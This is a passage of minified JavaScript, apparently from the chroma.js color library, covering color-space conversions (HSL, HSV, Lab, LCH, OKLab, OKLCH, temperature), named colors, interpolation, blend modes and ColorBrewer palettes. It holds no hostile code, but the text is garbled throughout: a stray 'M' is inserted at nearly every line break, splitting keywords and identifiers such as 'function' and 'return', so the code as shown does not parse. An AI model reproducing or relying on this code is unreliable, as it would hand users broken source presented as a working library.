lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
